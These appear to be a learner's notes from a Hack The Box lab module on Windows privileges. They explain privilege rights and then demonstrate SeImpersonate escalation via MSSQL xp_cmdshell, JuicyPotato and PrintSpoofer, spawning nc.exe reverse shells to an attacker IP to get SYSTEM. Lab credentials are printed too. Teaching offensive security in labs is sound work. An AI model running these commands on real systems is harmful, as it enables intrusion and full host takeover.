🆓Windows User Privileges

The below diagram walks through the Windows authorization and access control process at a high level, showing, for example, the process started when a user attempts to access a securable object such as a folder on a file share.

These rights allow users to perform tasks on the system such as logon locally or remotely, access the host from the network, shut down the server, etc.

Setting Constant	Setting Name	Standard Assignment
SeNetworkLogonRight	Access this computer from the network	Administrators, Authenticated Users
SeRemoteInteractiveLogonRight	Allow log on through Remote Desktop Services	Administrators, Remote Desktop Users
SeBackupPrivilege	Back up files and directories	Administrators
SeSecurityPrivilege	Manage auditing and security log	Administrators
SeTakeOwnershipPrivilege	Take ownership of files or other objects	Administrators
SeDebugPrivilege	Debug programs	Administrators
SeImpersonatePrivilege	Impersonate a client after authentication	Administrators, Local Service, Network Service, Service
SeLoadDriverPrivilege	Load and unload device drivers	Administrators
SeRestorePrivilege	Restore files and directories	Administrators

Typing the command whoami /priv will give you a listing of all user rights assigned to your current user.

PS C:\htb> whoami /priv
<SNIP>
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
<SNIP>

When a privilege is listed for our account in the Disabled state, it means that our account has the specific privilege assigned. Still, it cannot be used in an access token to perform the associated actions until it is enabled. we need some scripting to help us out.

this PowerShell script which can be used to enable certain privileges, or this script which can be used to adjust token privileges.

SeImpersonate and SeAssignPrimaryToken

the Potato attack tricks a process running as SYSTEM to connect to their process, which hands over the token to be used. This paper is worth reading for further details on token impersonation attacks.

SeImpersonate Example - JuicyPotato

In this scenario, the SQL Service service account is running in the context of the default mssqlserver account. Imagine we have achieved command execution as this user using xp_cmdshell using a set of credentials obtained in a logins.sql file on a file share using the Snaffler tool.

Using the credentials sql_dev:Str0ng_P@ssw0rd! we connect to the SQL instance:

ElFelixi0@htb[/htb]$ mssqlclient.py sql_dev@10.129.43.30 -windows-auth
SQL>

Next, we must enable the xp_cmdshell stored procedure to run operating system commands.

SQL> enable_xp_cmdshell

we can confirm that we are indeed running in the context of a SQL Server service account ->

SQL> xp_cmdshell whoami
nt service\mssql$sqlexpress01

let's check what privileges the service account has been granted.

SQL> xp_cmdshell whoami /priv 
<SNIP>
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    

JuicyPotato can be used to exploit the SeImpersonate or SeAssignPrimaryToken

first download the JuicyPotato.exe binary and upload this and nc.exe to the target server. Next, stand up a Netcat listener on port 8443

SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

An don our listener ->

ElFelixi0@htb[/htb]$ sudo nc -lnvp 8443
<SNIP>
C:\Windows\system32>whoami
nt authority\system

PrintSpoofer and RoguePotato

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access. This blog post goes in-depth on the PrintSpoofer tool

Again, connect with mssqlclient.py and use the tool with the -c argument to execute a command. Here, using nc.exe to spawn a reverse shell (with a Netcat listener waiting on our attack box on port 8443).

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

and if everything works fine our listener will catch this

ElFelixi0@htb[/htb]$ nc -lnvp 8443

C:\Windows\system32>whoami
nt authority\system

Escalate privileges using one of the methods shown in this section. Submit the contents of the flag file located at c:\Users\Administrator\Desktop\SeImpersonate\flag.txt